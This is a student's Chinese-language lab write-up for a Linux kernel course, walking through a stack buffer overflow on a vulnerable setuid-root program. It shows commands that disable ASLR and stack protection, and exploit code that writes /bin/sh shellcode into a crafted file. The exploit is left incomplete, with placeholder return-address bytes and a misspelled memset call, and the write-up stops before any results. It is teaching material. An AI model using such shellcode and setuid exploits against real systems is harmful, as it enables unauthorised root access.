《Linux内核原理与分析》 第十三周作业

一、预备知识

   缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、实验过程和分析

  1. Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap和栈(stack的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

    $ sudo sysctl -w kernel.randomize_va_space=0

  2. 下面的指令描述了如何设置 zsh 程序:

    $ sudo su

    $ cd /bin

    $ rm sh

    $ ln -s zsh sh

    $ exit

  3. 在 /tmp 目录下新建一个 stack.c 文件:

    $ cd /tmp

    $ vi stack.c

  4. stack.c中的代码如下:

      #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int bof(char *str)
    {
    char buffer[12];
    strcpy(buffer, str);
    return 1;
    }
    int main(int argc, char **argv)
    {
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
    } 通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
  5. 编译该程序,并设置 SET-UID。命令如下:

    $ sudo su

    $ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

    $ chmod u+s stack

    $ exit

        GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
    -g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
  6. 我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。

    在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:

     #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50" //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin" //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50" //pushl %eax
    "\x53" //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99" //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    emset(&buffer, 0x90, 517);
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
    strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer偏移量设为了 100
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);

    }

  7. 具体的操作过程如下:










2019-2020-1 20199318《Linux内核原理与分析》第十三周作业的更多相关文章

  1. 2019-2020-1 20199329《Linux内核原理与分析》第九周作业

    <Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...

  2. 2019-2020-1 20199329《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...

  3. 20169212《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...

  4. 20169210《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...

  5. 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...

  6. 2017-2018-1 20179215《Linux内核原理与分析》第二周作业

    20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...

  7. 2019-2020-1 20209313《Linux内核原理与分析》第二周作业

    2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...

  8. 2018-2019-1 20189221《Linux内核原理与分析》第一周作业

    Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...

  9. 《Linux内核原理与分析》第一周作业 20189210

    实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...

  10. 2018-2019-1 20189221《Linux内核原理与分析》第二周作业

    读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...

随机推荐

  1. vue实现记录分享是否有上级

    前言: 项目需要做活动分享功能(增加网站.app等访问量),但是,,,无功不受禄,也就需要分享时带上级ID,好友中奖,本人也受同样优惠 需求开发: 开发一个活动后,本人参加之后,分享给好友,增加自身中 ...

  2. myJRebel 已不可用

    周末在家里撸代码,突然 IDEA 提示 JRebel 需要激活. 原来一直使用的 myJRebel 的激活码,天真的以为是我的网络问题,尝试重新激活,结果不管用,就想去 myJrebel 的网站上去看 ...

  3. iOS开发之各机型屏幕大小与键盘高度整理

    机型 屏幕宽 屏幕高 键盘高 iPhone 8 375 667 260 iPhone 8 Plus 414 736 271 iPhone X 375 812 336 iPhone Xs 375 812 ...

  4. ENGG1340 Computer Programming II

    课程内容笔记,自用,不涉及任何 assignment,exam 答案 Notes for self use, not included any assignments or exams Module ...

  5. django操作WEB涉及的几个命令

    1)创建项目bysms django-admin startproject bysms 2)创建应用sales (在bysms目录下执行) python manage.py startapp sale ...

  6. Java笔记_成员方法传参机制

    成员方法传参机制(非常重要) Parameter(参数).Method(方法).Exercise(练习) 基本数据类型的传参机制 看一下案例,将main中的值传递给类中对象 /** * @ClassN ...

  7. react native 中 fetch获取请求头header 的token信息

    首先说一句,所有请求,都要带一个token信息,很难受啊,我目前直接将token信息放在global下自定的属性里面.(本地存储Storage和AsyncStorage,取一下,好麻烦) global ...

  8. 最近录了一些python视频教程

    最近录了一些python视频教程,目前有机器学习的.python基础知识的,大家可以去B站观看. https://space.bilibili.com/431152063 python机器学习之KNN ...

  9. 808.11ac的MAC层

    MAC层是802.11的主要功能部分.上层应用通过调用MAC层提供的接口原语调用MAC层的功能. 在内部,MAC由除了函数还有数据,叫MIB,存储MAC的各种参数.SME是一个单独的模块,用来跟接口函 ...

  10. 剑指 Offer II 树

    我为什么要把代码粘在这里 断更很久了,基于一个错误的观念:我想看题,我到leetcode官网看不就行了吗? 但是若干年后我可能还会到我的博客园看看呀,我有可能上刷题网站吗?而且心得不好写到注释上. 记 ...